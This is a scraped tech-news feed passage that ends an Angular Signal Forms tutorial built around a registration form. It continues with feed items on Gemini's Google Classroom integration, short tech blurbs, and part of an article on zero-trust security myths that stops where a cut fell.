<pre class="wp-block-code"><code>// registration.component.ts
import { CommonModule } from "@angular/common";
import { Component, signal } from "@angular/core";
import {
  email,
  form,
  FormField,
  required,
  submit,
} from "@angular/forms/signals";
import { RegistrationData } from "./registration.model";

@Component({
  selector: "app-registration",
  imports: [FormField, CommonModule],
  templateUrl: "./registration.html",
  styleUrl: "./registration.css",
})
export class Registration {
  readonly model = signal<registrationdata>({
    email: "",
    password: "",
    confirmPassword: "",
    acceptedTerms: false,
  });

  readonly registrationForm = form(this.model, (schema) =&gt; {
    required(schema.email, { message: "Email is required" });
    email(schema.email, { message: "Enter a valid email address" });

    required(schema.password, { message: "Password is required" });
    required(schema.confirmPassword, {
      message: "Please confirm your password",
    });

    required(schema.acceptedTerms, {
      message: "You must accept the terms to continue",
    });
  });

  async onSubmit(event?: Event) {
    event?.preventDefault();

    await submit(this.registrationForm, (value) =&gt; {
      console.log(value());
      // Mock Server Call
      return Promise.resolve([
        {
          kind: "EmailAlreadyExists",
          field: this.registrationForm.email,
          error: { kind: "server", message: "Email already taken" },
        },
      ]);
    });
  }
}
</registrationdata></code></pre>



<p>Several design decisions are worth noting.</p>



<p>First, the model signal is defined as read-only. All mutations to the model occur through form bindings, not ad hoc assignments in the component. This keeps the component declarative and avoids the temptation to manipulate form state imperatively.</p>



<p>Second, validation is declared in one place. The schema function describes constraints on the model without introducing control trees, validator arrays, or observable pipelines. Angular takes responsibility for re-running validation whenever the model changes.</p>



<p>Finally, submission logic is explicit. The <code>submit()</code> helper ensures that the form is valid before invoking the callback, and it passes the current model value directly. There is no need to check flags or manually extract values.</p>



<h3 class="wp-block-heading"><a></a>Binding the form to the template</h3>



<p>With the form defined, the next step is to bind it to the template. Signal Forms provide the <code>[formField]</code> directive, which connects an input element directly to a field in the form schema.</p>



<pre class="wp-block-code"><code><!-- registration.component.html -->

  <div>
    <label>Email</label>
    

    @if (
      registrationForm.email().invalid() &amp;&amp; registrationForm.email().touched()
    ) {
      <p class="error">
        {{ registrationForm.email().errors()[0].message }}
      </p>
    }
  </div>

  <div>
    <label>Password</label>
    

    @if (
      registrationForm.password().invalid() &amp;&amp;
      registrationForm.password().touched()
    ) {
      <p class="error">
        {{ registrationForm.password().errors()[0].message }}
      </p>
    }
  </div>

  <div>
    <label>Confirm Password</label>
    

    @if (
      registrationForm.confirmPassword().invalid() &amp;&amp;
      registrationForm.confirmPassword().touched()
    ) {
      <p class="error">
        {{ registrationForm.confirmPassword().errors()[0].message }}
      </p>
    }
  </div>

  <div>
    <label>
      
      I accept the terms and conditions
    </label>

    @if (
      registrationForm.acceptedTerms().invalid() &amp;&amp;
      registrationForm.acceptedTerms().touched()
    ) {
      <p class="error">
        {{ registrationForm.acceptedTerms().errors()[0].message }}
      </p>
    }
  </div>

  <div>
    @if (registrationForm().errors().length &gt; 0) {
      <div class="error">
        @for (error of registrationForm().errors(); track error.message) {
          <p>{{ error.kind }}</p>
        }
      </div>
    }
  </div>

  <button type="submit">
    Register
  </button>

</code></pre>



<p>What stands out here is the absence of indirection. Each input binds directly to a field. Validation state is accessed through signals such as <code>invalid()</code> and <code>touched()</code>. Error messages are read from a structured error object, not reconstructed manually.</p>



<p>This template contains no subscriptions, no async pipes, and no event handlers for value changes. The UI simply reflects the current form state.</p>



<h3 class="wp-block-heading"><a></a>Interaction state and user experience</h3>



<p>One of the common criticisms of declarative form models is that they obscure user interaction logic. Signal Forms address this directly by exposing interaction metadata as signals.</p>



<p>The <code>touched()</code> signal determines whether a field has been interacted with. By combining it with <code>invalid()</code>, we control when validation messages appear. This logic remains purely declarative: the template describes when errors should be visible, and Angular ensures the signals stay up-to-date.</p>



<p>The disabled state of the submit button is derived from <code>registrationForm.invalid()</code>. There is no need to manually enable or disable it in response to events. If the form becomes valid, the button is enabled automatically.</p>



<h3 class="wp-block-heading"><a></a>Why this scales</h3>



<p>Even at this early stage, several advantages of a signal-first form model are apparent. The form’s behavior is expressed in terms of state and derivation, not events. The model, validation rules, and UI bindings are clearly separated. There is no duplication of logic between the component and the template.</p>



<p>As the form grows, this structure holds. Additional fields introduce additional schema entries and template bindings, not new subscription logic. Cross-field validation can be added declaratively. Asynchronous validation and persistence can be layered on without rewriting the core model.</p>



<p>Most importantly, the form remains inspectable. At any point during execution, the model signal reflects the current state of the form. Derived state validity, errors, and UI flags can be understood by reading the code, not by tracing runtime behavior.</p>



<h2 class="wp-block-heading"><a></a>What we did not solve yet (and why)</h2>



<p>At this stage, it would be easy to walk away with the impression that Signal Forms eliminates most of the hard problems associated with form handling. That impression would be misleading. What we have built so far is intentionally incomplete, not because the approach falls short, but because introducing too much too early obscures the value of the underlying model.</p>



<p>One area we have deliberately postponed is cross-field validation that expresses richer business rules. Many real-world forms depend on relationships between fields rather than isolated constraints. Password confirmation is a familiar example, but more complex scenarios quickly arise in enterprise applications. While Signal Forms support these patterns, introducing them before establishing a clear understanding of derived state risks turns validation back into an imperative exercise rather than a declarative one.</p>



<p>We have also avoided asynchronous validation. Server-backed checks introduce latency, partial failure, cancellation, and race conditions. These are not trivial concerns, and treating them casually often leads to subtle bugs and confusing user experiences. Although Signal Forms provide the necessary hooks to model asynchronous behavior, doing so responsibly requires a careful discussion of pending state, effects, and life-cycle boundaries. That discussion belongs in its own article.</p>



<p>Another omission is persistence and synchronization. Many forms need to autosave drafts, synchronize state with local storage, or react to changes by triggering external side effects. These behaviors are not part of the form state itself; they are consequences of state changes. Treating them as such is essential to keeping the architecture comprehensible. Introducing persistence too early would blur the distinction between state and reaction that this article has worked to establish.</p>



<p>Finally, this article has not addressed migration and interoperability. Few teams are starting from a blank slate. Most will adopt Signal Forms incrementally within applications that already rely on reactive forms or template-driven forms. Hybrid approaches, bridging strategies, and gradual refactors are all critical topics, but they presuppose familiarity with both paradigms. Addressing migration before establishing a solid signal-first mental model would undermine that foundation.</p>



<p>These omissions are intentional. A form architecture that tries to do everything at once often ends up doing nothing clearly. By focusing on the core ideas of state, derivation, and declarative validation, we create a base that can absorb additional complexity without collapsing under it.</p>



<h2 class="wp-block-heading"><a></a>Signal Forms in the context of Angular’s evolution</h2>



<p>To fully appreciate Signal Forms, it helps to step back and view them not as an isolated feature, but as part of a broader shift in Angular’s design philosophy.</p>



<p>For much of its history, Angular emphasized declarative templates paired with imperative coordination in component classes. RxJS became the backbone of that coordination, providing a powerful abstraction for handling asynchronous workflows, user input, and external events. This model scaled well, but it also encouraged developers to express state indirectly through streams and subscriptions.</p>



<p>Signals represent a deliberate recalibration. They re-center Angular’s reactivity model around state and derivation, rather than events and emissions. This shift is visible across the framework: in component inputs, change detection, and now forms. Signal Forms are not an attempt to replace everything that came before; they are an attempt to make the most common use case, modeling and deriving state, simpler and more explicit.</p>



<p>Framed this way, the design of Signal Forms aligns more closely with state-driven form behavior. The requirement to start with a model signal reflects the idea that the state should have a single, inspectable source of truth. Schema-based validation aligns with the notion that constraints are properties of state, not behaviors triggered by events. Field state exposed as signals reinforces the idea that validity, errors, and interaction metadata are derived values that should be read, not managed.</p>



<p>It is also worth noting that Signal Forms do <em>not</em> attempt to abstract away form behavior. They do not hide form state behind opaque classes or life-cycle hooks. They do not require developers to think in terms of control hierarchies or subscription graphs. Instead, they expose form behavior directly, making it easier to reason about how values, validation, and UI feedback relate to one another.</p>



<p>This approach aligns closely with other recent changes in Angular, including the introduction of modern template control flow and a stronger emphasis on explicit data dependencies. Together, these features point toward a framework that favors clarity over indirection and composition over orchestration.</p>



<p>Importantly, Signal Forms are still evolving. Their APIs may change, and their surface area will almost certainly expand. That is precisely why grounding them in first principles matters. Developers who understand <em>why</em> Signal Forms work the way they do will be far better equipped to adapt as the APIs mature.</p>



<p>This article has intentionally avoided duplicating documentation or enumerating every available feature. Instead, it has focused on establishing a conceptual framework that makes the official APIs feel intuitive rather than surprising. When viewed this way, Signal Forms are not a new way to write forms; they are a clearer expression of what forms have always been.</p>



<h2 class="wp-block-heading"><a></a>A new way to think about forms</h2>



<p>Building the registration form in this article reveals a quiet but important shift. The reduction in complexity does not come from fewer features or simpler requirements. It comes from expressing form behavior in terms of state and derivation rather than orchestration and reaction.</p>



<p>By treating the data model as the single source of truth, validation rules as declarative constraints, and UI behavior as derived from current conditions, much of the coordination logic that typically surrounds forms becomes unnecessary. There are fewer subscriptions to manage, fewer flags to synchronize, and fewer life-cycle concerns to reason about. Form behavior becomes easier to inspect because it is visible directly in the relationships between values.</p>



<p>This approach does not eliminate the hard problems associated with forms. Asynchronous validation, persistence, and interoperability with existing Angular Forms APIs still require careful design. What changes is where that complexity lives. Instead of being interwoven with state representation, those concerns are layered explicitly on top of a clear foundation.</p>



<p>Signal-first forms are not a universal replacement for existing patterns, nor are they a shortcut to simpler applications. They are, however, a strong example of how aligning APIs with first principles can reduce cognitive overhead and improve maintainability over time. For teams building large, state-heavy forms, this alignment can make the difference between code that merely works and code that continues to evolve without friction.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Make Gemini more helpful and relevant to your teaching goals with the Google Classroom app in Gemini]]></title>
<description><![CDATA[Educators have shared that AI is especially helpful when it understands the context of their teaching environment, from tailoring resources toward student needs or building on their existing materials. To support this, Gemini will be able to collaborate with your Google Classroom, using context f...]]></description>
<link>https://tsecurity.de/de/3606512/web-tipps/make-gemini-more-helpful-and-relevant-to-your-teaching-goals-with-the-google-classroom-app-in-gemini/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3606512/web-tipps/make-gemini-more-helpful-and-relevant-to-your-teaching-goals-with-the-google-classroom-app-in-gemini/</guid>
<pubDate>Thu, 18 Jun 2026 04:26:33 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Educators have shared that AI is especially helpful when it understands the context of their teaching environment, from tailoring resources toward student needs or building on their existing materials. To support this, Gemini will be able to collaborate with your Google Classroom, using context from your classes to inform its outputs or help complete tasks. For example, educators can get insights on student progress and understanding, create resources and differentiated materials based on Classroom context, or get help drafting posts and assignments.<div><br></div><div>Students 18 and older can similarly use the Classroom app to stay organized across classes – from getting a list of upcoming assignments, creating study plans, doing test practice based on Classroom content, and staying up-to-date on the latest announcements. 

Based on your prompts, Gemini will identify when context from Google Classroom will be relevant, and use it to inform its outputs. You can also explicitly tell Gemini to use information from your Google Classroom account by typing, “@Classroom” and clicking on the Classroom app when it pops up.</div><div><br></div><div class="separator"></div><div><br></div><div><br></div><div>For example, educators can ask Gemini to:</div><div><br></div><div><ul><li><b>Draft communications: </b>Draft communications and posts based on your Google Classroom information.</li><li><b>Draft differentiated assignments and plans:</b> Help draft and update assignments, and generate timelines and structured plans, based on information and content from your Google Classroom.</li><li><b>Understand student progress and take action: </b>Summarize who has submitted assignments, how students have done on prior assignments, and identify where students might need additional teacher support.</li><li><b>Streamline administrative tasks: </b>Update assignment titles, descriptions, and more across multiple classes in draft mode, make seating charts, and find old assignments.</li></ul></div><h4>Important notes</h4><div>Gemini Apps can’t perform certain actions in the Google Classroom app, like:</div><div><br></div><div><ul><li>Enter grades or provide private feedback directly</li><li>Delete, archive, or directly post assignments or announcements (it can post to draft)</li><li>Create rubrics</li></ul></div><div>This feature will be available in English for users designated as over the age of 18 who are using a Google Workspace for Education or Business account in Classroom and Gemini. The Classroom app in Gemini does not currently support data regionalization and your usage data may be stored outside of your designated data region. Data region support for the Classroom app in Gemini is expected later this year.</div><h3>Getting started</h3><div><ul><li><b>Admins: </b>Access to the Classroom app in Gemini will be ON by default for all Education domains and can be disabled at the OU or group level. For all other domains, access will be OFF by default and can be enabled at the OU or group level. Access can be turned on or off with a new <b>Classroom app</b> setting in the Gemini section of the Admin console. Visit the Help Center to <a href="https://support.google.com/a/answer/15293691" target="_blank">learn more about turning Google apps in Gemini on or off for your organization</a>.</li></ul><div><br></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDsSwnx0-luG6QMkZX0hbCxPOMJYkZ4SbUrKlHS1lBA7utg7BQ_kP3JiGWqK3j-TtnM6s0nOBQOZuzkiHrPV5eQVHXpwQfz8l1V1o7ZdGyj9OmoDfO1GGEYk_EvsTB28kTELBfMYYQRUi_swZCGHg4bP2emtS7hIWDaOav5NuO5IK655stJV9J-4K2S18i/s2048/Classroom%20Gemini%20App%20Admin.png"><img alt="Admin console settings to control Classroom in Gemini app" border="0" data-original-height="1127" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDsSwnx0-luG6QMkZX0hbCxPOMJYkZ4SbUrKlHS1lBA7utg7BQ_kP3JiGWqK3j-TtnM6s0nOBQOZuzkiHrPV5eQVHXpwQfz8l1V1o7ZdGyj9OmoDfO1GGEYk_EvsTB28kTELBfMYYQRUi_swZCGHg4bP2emtS7hIWDaOav5NuO5IK655stJV9J-4K2S18i/s16000/Classroom%20Gemini%20App%20Admin.png"></a></div><br><div><br></div><ul><li><b>End users: </b>Your admin configuration will determine if you can use the Classroom app in Gemini. Access to the Classroom app in Gemini will be ON by default and can be disabled at the end user level in the connected apps section of the Gemini app settings. Visit the Help Center to <a href="https://support.google.com/gemini/answer/14959807?sjid=5863818655263235588-NC" target="_blank">learn more about using apps connected to Gemini</a>.</li></ul><div><br></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFxAVE6-f-KG1WIpQI48puSbC6zbzDCgIX3cnjmcyizek_Fsv8UntUeqSrkirlRzMFyUCGnV7SUU_X4j0SLgD7xkYEBgM1wz4gJONswLk0XrB1F0pdFrtF8bcwVdT_Jw85vKDQjkpRJlSh8-QUeGdtReFTHA9YgFSstpmCSapx3y-OlOUwCxl1-rcfXwjX/s2048/Classroom%20Gemini%20App%20User.png"><img alt="End user settings to enable Classroom in Gemini app" border="0" data-original-height="1283" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFxAVE6-f-KG1WIpQI48puSbC6zbzDCgIX3cnjmcyizek_Fsv8UntUeqSrkirlRzMFyUCGnV7SUU_X4j0SLgD7xkYEBgM1wz4gJONswLk0XrB1F0pdFrtF8bcwVdT_Jw85vKDQjkpRJlSh8-QUeGdtReFTHA9YgFSstpmCSapx3y-OlOUwCxl1-rcfXwjX/s16000/Classroom%20Gemini%20App%20User.png"></a></div><div><br></div></div><h3>Rollout pace</h3><div><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release and Scheduled Release domains</a>: Rolling out now, with expected completion by June 18, 2026</li></ul></div><h3>Availability</h3><div><ul><li>Available in English to all Google Workspace customers who are 18 years or older and signed in to the Gemini app. <a href="https://knowledge.workspace.google.com/admin/getting-started/editions/control-access-to-google-services-by-age" target="_blank">Learn more about age restrictions in Gemini app</a>.</li></ul></div><h3>Resources</h3><div><ul><li>Gemini Apps Help: <a href="https://support.google.com/gemini/answer/16865250?sjid=764380175305792016-NC" target="_blank">Ask about your Google Classroom assignments, classes &amp; more in Gemini Apps</a></li><li>Google Workspace Admin Help: <a href="https://support.google.com/a/answer/15293691?hl=en" target="_blank">Turn apps in Gemini on or off</a></li><li>Gemini Apps Help: <a href="https://support.google.com/gemini/answer/14959807?sjid=5863818655263235588-NC" target="_blank">Use apps connected to Gemini with a work or school Google Account</a></li></ul></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI in J-School: How Journalism Classes Are Adapting]]></title>
<description><![CDATA[Journalism schools are integrating AI into education at the assignment level, while maintaining the development of core skills like interviewing, fact-checking and writing.]]></description>
<link>https://tsecurity.de/de/3606316/ai-nachrichten/ai-in-j-school-how-journalism-classes-are-adapting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3606316/ai-nachrichten/ai-in-j-school-how-journalism-classes-are-adapting/</guid>
<pubDate>Thu, 18 Jun 2026 00:48:17 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Journalism schools are integrating AI into education at the assignment level, while maintaining the development of core skills like interviewing, fact-checking and writing.]]></content:encoded>
</item>
<item>
<title><![CDATA[This Google-backed ‘phone cluster computing’ project is turning retired Pixels into low-cost Linux data centers — as UCSD researchers say a 2,000-phone cluster will soon support 100 computer science classes]]></title>
<description><![CDATA[Google says old phones could see their components reused as affordable cloud servers.]]></description>
<link>https://tsecurity.de/de/3605676/it-nachrichten/this-google-backed-phone-cluster-computing-project-is-turning-retired-pixels-into-low-cost-linux-data-centers-as-ucsd-researchers-say-a-2000-phone-cluster-will-soon-support-100-computer-science-classes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3605676/it-nachrichten/this-google-backed-phone-cluster-computing-project-is-turning-retired-pixels-into-low-cost-linux-data-centers-as-ucsd-researchers-say-a-2000-phone-cluster-will-soon-support-100-computer-science-classes/</guid>
<pubDate>Wed, 17 Jun 2026 19:32:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Google says old phones could see their components reused as affordable cloud servers.]]></content:encoded>
</item>
<item>
<title><![CDATA[How I tweaked my fitness app Reps & Sets using Apple’s latest tools]]></title>
<description><![CDATA[Last year, WWDC25 inspired me to rewrite my strength-training app Reps & Sets in Swift so it could take advantage of Apple’s latest frameworks, like Foundation Models and Image Playground. It was a massive undertaking, even with the help of today’s AI-powered coding tools. When I introduced the n...]]></description>
<link>https://tsecurity.de/de/3605240/ios-mac-os/how-i-tweaked-my-fitness-app-reps-sets-using-apples-latest-tools/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3605240/ios-mac-os/how-i-tweaked-my-fitness-app-reps-sets-using-apples-latest-tools/</guid>
<pubDate>Wed, 17 Jun 2026 17:11:36 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="780" height="505" src="https://www.cultofmac.com/wp-content/uploads/2026/06/reps3-hero-1440x932.jpg.webp" class="attachment-large size-large wp-post-image" alt="Image showing an iPad, an iPhone and an Apple Watch, all running strength-training app Reps &amp; Sets, displaying the same exercise." decoding="async" fetchpriority="high" srcset="https://www.cultofmac.com/wp-content/uploads/2026/06/reps3-hero-1440x932.jpg.webp 1440w, https://www.cultofmac.com/wp-content/uploads/2026/06/reps3-hero-400x259.jpg 400w, https://www.cultofmac.com/wp-content/uploads/2026/06/reps3-hero-768x497@2x.jpg.webp 1536w, https://www.cultofmac.com/wp-content/uploads/2026/06/reps3-hero-2048x1325.jpg 2048w, https://www.cultofmac.com/wp-content/uploads/2026/06/reps3-hero-350x227.jpg 350w, https://www.cultofmac.com/wp-content/uploads/2026/06/reps3-hero-768x497.jpg.webp 768w, https://www.cultofmac.com/wp-content/uploads/2026/06/reps3-hero-1020x660.jpg.webp 1020w, https://www.cultofmac.com/wp-content/uploads/2026/06/reps3-hero-2040x1320.jpg.webp 2040w, https://www.cultofmac.com/wp-content/uploads/2026/06/reps3-hero-400x259@2x.jpg 800w" sizes="(max-width: 780px) 100vw, 780px"></div>
<p>Last year, WWDC25 inspired me to rewrite my strength-training app Reps &amp; Sets in Swift so it could take advantage of Apple’s latest frameworks, like Foundation Models and Image Playground. It was a massive undertaking, even with the help of today’s AI-powered coding tools. When I introduced the new version of Reps &amp; Sets on Cult […]</p>
<p>(via <a href="https://www.cultofmac.com/">Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.</a>)</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Embrace PC gaming at 4K and with this sublime 32-inch monitor that's had its overpriced fee cut down to affordable levels]]></title>
<description><![CDATA[The ASUS ROG Swift OLED 32" monitor is on a limited-time 35% discount courtesy of Amazon hosting some deals in preparation for its June 2026 Prime Day event. It can render games and other media at an astounding 4K resolution at 240Hz without any performance-inhibiting compromises.]]></description>
<link>https://tsecurity.de/de/3604636/windows-tipps/embrace-pc-gaming-at-4k-and-with-this-sublime-32-inch-monitor-thats-had-its-overpriced-fee-cut-down-to-affordable-levels/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3604636/windows-tipps/embrace-pc-gaming-at-4k-and-with-this-sublime-32-inch-monitor-thats-had-its-overpriced-fee-cut-down-to-affordable-levels/</guid>
<pubDate>Wed, 17 Jun 2026 13:40:58 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The ASUS ROG Swift OLED 32" monitor is on a limited-time 35% discount courtesy of Amazon hosting some deals in preparation for its June 2026 Prime Day event. It can render games and other media at an astounding 4K resolution at 240Hz without any performance-inhibiting compromises.]]></content:encoded>
</item>
<item>
<title><![CDATA[Zero trust isn’t broken. Most companies just do it wrong.]]></title>
<description><![CDATA[Zero trust is 15 years old, and like many teenagers, it can feel misunderstood and underappreciated.



The concept of zero trust was first defined by John Kindervag, a Forrester analyst at the time, as a strategy to replace the outmoded perimeter security model with a “never trust, always verify...]]></description>
<link>https://tsecurity.de/de/3601184/it-security-nachrichten/zero-trust-isnt-broken-most-companies-just-do-it-wrong/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3601184/it-security-nachrichten/zero-trust-isnt-broken-most-companies-just-do-it-wrong/</guid>
<pubDate>Tue, 16 Jun 2026 11:08:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Zero trust is 15 years old, and like many teenagers, it can feel misunderstood and underappreciated.</p>



<p>The concept of zero trust was first defined by <a href="https://www.linkedin.com/in/john-kindervag-40572b1/">John Kindervag</a>, a Forrester analyst at the time, as a strategy to replace the outmoded perimeter security model with a “never trust, always verify” approach. But going from principle to practice isn’t easy.</p>



<p><a href="https://www.accenture.com/content/dam/accenture/final/accenture-com/document-3/State-of-Cybersecurity-report.pdf#zoom=40" target="_blank" rel="noreferrer noopener">Accenture</a> reports that 88% of organizations have encountered significant challenges implementing zero trust. In a recent <a href="https://www.gartner.com/en/newsroom/press-releases/2024-04-22-gartner-survey-reveals-63-percent-of-organizations-worldwide-have-implemented-a-zero-trust-strategy" target="_blank" rel="noreferrer noopener">Gartner</a> survey, 35% of respondents who indicated that they either attempted or partially attempted a zero-trust initiative suffered failures that adversely affected their organization. “Gartner has observed numerous instances of failed zero-trust initiatives among end users who lacked a strategic and measurable plan,” the report says.</p>



<p>At last year’s DefCon 33 conference, U.K. security researchers from AmberWolf <a href="https://www.networkworld.com/article/4039042/def-con-research-takes-aim-at-ztna-calls-it-a-bust.html" target="_blank">poked holes in zero trust</a> by identifying potential vulnerabilities in zero-trust network access (ZTNA) offerings from three vendors. “It turns out there are no magic ZTNA beans; we’ve got the same old bug classes reimagined for a new technology stack,” said AmberWolf researcher Richard Warren. “Rather than zero trust, we’re actually putting a lot of trust into these vendors to process our data securely.”  </p>



<p><a href="https://www.linkedin.com/in/mjhaber/">Morey Haber</a>, author and chief security advisor at BeyondTrust, sums up the state of zero trust in 2026 this way: “We all agree: zero trust is necessary. But it’s been hard to implement.” Haber describes the gap between intention and execution as “massive” during a <a href="https://www.computerworld.com/video/4084071/is-zero-trust-failing-or-just-misunderstood.html" target="_blank">Today in Tech episode</a> focused on whether zero trust is failing or just misunderstood. “It doesn’t matter what you read or which framework you follow,” Haber said during the podcast. “The core issue is that we have a concept with principles and tenets, but not enough guidance on how to implement it.”</p>



<p>Here are some myths and misconceptions associated with zero trust, as well as tips on how to avoid the pitfalls and successfully implement zero trust.</p>



<h2 class="wp-block-heading">Myth: Zero trust is a product</h2>



<p>Even after 15 years, there is still considerable confusion about what zero trust is. It answers to many definitions—strategy, philosophy, concept, mindset, and architecture.</p>



<p>Chase Cunningham<em>, </em>who bills himself as <a href="https://www.drzerotrust.com/" target="_blank" rel="noreferrer noopener">DrZeroTrust</a>, says,”Security is not a product, but a combination of strategy, process, and execution. Zero trust is not just an architecture—it’s a mindset. There is no zero-trust product, period.”</p>



<p>Haber agrees. “You have vendors claiming to sell “zero-trust” products, which is misleading. There’s no such thing as a zero-trust product. Products implement security controls, but they don’t embody zero-trust principles.”</p>



<p>He cautions, “If a vendor says, ‘This remote access solution achieves zero-trust principles,’ that’s great, but I have yet to see one that delivers more than 10%-15% of the required controls.”</p>



<p>Gartner adds, “The concept of zero trust is a security approach that organizations adopt to mitigate access risks associated with networks, applications, and associated data. This is frequently overshadowed by vendor marketing, which tends to promise high expectations but often delivers suboptimal results.”</p>



<h2 class="wp-block-heading">Myth: Zero trust is a technology</h2>



<p><a href="https://www.utsystem.edu/offices/information-security/chief-information-security-officer" target="_blank" rel="noreferrer noopener">George Finney</a>, CISO at the University of Texas and author of two books on zero trust, tells <em>Network World</em> that zero trust is not a technology; in other words, it’s not micro-segmentation to block lateral movement by attackers; it’s not policy-based identity to control who gets access to enterprise resources. Those are tools and tactics that help implement zero trust.</p>



<p>Zero trust at its core is a way of thinking about risk that requires breaking down silos among security teams, networking groups, business units, compliance, and risk management functions, according to Finney.</p>



<p>The first pillar of zero trust, as defined by Kindervag, is identifying the highest-priority protect surfaces in the organization. Kindervag says that unless the organization has a clear understanding of what the crown jewels are, there’s no way a zero-trust project can be successful. Kindevag adds that IT doesn’t necessarily know what those high-value protect surfaces are, but business leaders do, and that’s where a zero-trust initiative should start.</p>



<p>The second pillar of zero trust is to map transaction flows associated with those mission-critical protect surfaces. Again, this requires coordination and collaboration with teams running key enterprise applications. This is particularly important in today’s multi-cloud environments, where a specific business process can span on-prem, edge, cloud, containers, microservices, etc.</p>



<p>“It’s not a technology issue at the end of the day that makes it hard,” Finney says. It’s people issues, cultural issues, and politics. He recommends that organizations think holistically about securing sensitive data across all attack surfaces, including endpoints, remote users, IoT devices, LLMs, AI agents, etc.</p>



<p>Gartner adds, “It is not a product or technology-focused exercise but rather a methodology driven by the organization’s overall objective and priorities.”</p>



<h2 class="wp-block-heading">Myth: Zero trust is expensive  </h2>



<p>Finney says zero trust does not have to break the bank. “A lot of folks think it’s going to be too expensive, but it doesn’t have to be,” he adds. Here are key steps on the road to zero trust that don’t involve buying anything<strong>.</strong></p>



<p><strong>Identifying high-value protect surfaces. </strong>This requires thinking like an attacker and pinpointing the assets that an attacker is most likely to consider valuable. Finney adds, “In a given protect surface, you might have multiple controls that all have to be working together to remove those trust relationships.”  </p>



<p><strong>Creating a zero-trust team</strong>. Finney says most organizations already have governance, risk management, and compliance teams that can be brought into a comprehensive zero-trust task force that includes security and networking groups. Gartner adds, “A zero-trust strategy must be initiated at the executive level and integrated across all departments and teams.”</p>



<p><strong>Education. </strong>Education is critical, says Finney. “It’s helping folks see the big picture. It gets people out of their silos.”Finney adds that a major challenge is political, having to deal with a fragmented organization in which many stakeholders are dismissive of security because it’s not what they’re measured on. For example, application developers who are under the gun to get software out the door aren’t necessarily incentivized to bake security into their processes. <strong> </strong></p>



<p><strong>Creating a strategy. </strong>“When I talk to boards of directors, they understand that to be successful in any part of the business, you need to have a strategy. That resonates from the top,” says Finney. <strong></strong></p>



<p>In its analysis of why zero-trust initiatives fail, Gartner says, “The lack of a business-aligned strategic plan has led to ineffective governance, miscommunication, poor risk management, minimal budget allocation, poor execution of the organizational security objectives, and inefficient use of limited resources.”</p>



<p><strong>Defining an architecture: </strong>Every organization is different, so there is no boilerplate architecture that can be applied everywhere. Organizations need to write a specific architecture that fits their business needs, their level of risk tolerance, their specific vertical industry, and their unique technology infrastructure.</p>



<p><strong>Setting and applying policies. </strong>Again, there is no line item associated with writing access control and identity management policies.  </p>



<p><strong>Leveraging existing tools.</strong> It’s important to realize that nobody is starting from zero.</p>



<p>Most organizations already have multi-factor authentication or single sign-on in place, they already have identity management, network management, web application firewalls, etc. The key is to integrate and align existing technology and identify gaps where new tools might be needed.</p>



<p>Speaking to AmberWolf’s point that attackers can always find bugs in vendor software, zero-trust advocates counter that zero trust implies defense in depth. So, even if there’s a flaw that allows an attacker to gain end-user credentials and access the network, there will be multiple security controls in place, such as incident detection, micro-segmentation, monitoring of end-user sessions, and controls that prevent access to and exfiltration of sensitive data.</p>



<h2 class="wp-block-heading">Myth: Zero trust is difficult to implement</h2>



<p>Zero trust doesn’t have to be hard to implement if organizations follow widely disseminated guidance provided by <a href="https://nvlpubs.nist.gov/nistpubs/specialpublications/NIST.SP.800-207.pdf" target="_blank" rel="noreferrer noopener">NIST</a>, numerous books, webinars, podcasts, experts, consultants, and more.</p>



<p>Finney recommends starting small and showing quick wins. Zero trust can’t be implemented all at once across a large organization; it requires a targeted, methodical strategy.</p>



<p>The preferred approach is to start with those high-value protect surfaces and apply tools that support the overall architecture in a coordinated, consistent, managed, and monitored fashion.  </p>



<p>“An overall strategy can deploy different tactics,” Finney says. “You want to think about what will have the biggest impact on your organization today.” He says organizations need to make informed data-driven decisions based on logs, metrics, and other data, while factoring in an analysis of what attackers are doing vs. the specific vulnerabilities and weak points in the organization’s defenses.</p>



<p>Gartner states: “Narrowing the scope of initiatives or projects within the zero-trust program is essential for attaining a zero-trust posture within practical and reasonable timeframes. Organizations define overly expansive future target states by incorporating an excessive number of systems, applications, use cases, or datasets in the initial phase—or by proposing overly intricate and granular policy sets. They will encounter scalability and cost challenges, along with extended project timelines.”</p>



<h2 class="wp-block-heading">Myth: AI breaks ZTNA</h2>



<p>Enterprises are racing to deploy generative AI and unleash semi-autonomous AI agents. This new world of black box large language models (LLM) and non-human identities (NHI) raises concerns that zero trust is an outdated strategy that’s not up to the challenge.</p>



